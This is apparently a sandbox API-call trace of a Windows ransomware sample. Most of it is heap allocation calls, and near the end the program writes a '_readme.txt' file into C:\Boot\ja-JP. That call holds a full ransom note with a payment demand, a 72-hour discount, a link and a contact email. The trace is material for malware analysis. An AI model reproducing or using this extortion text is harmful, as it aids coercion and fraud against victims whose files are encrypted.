RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.256] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.258] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.259] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.260] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0124.260] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.260] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.260] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.260] PathFindFileNameW (pszPath="") returned="" [0124.260] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.260] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.260] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.260] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.261] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0124.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.261] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.261] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0124.261] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.261] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.261] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 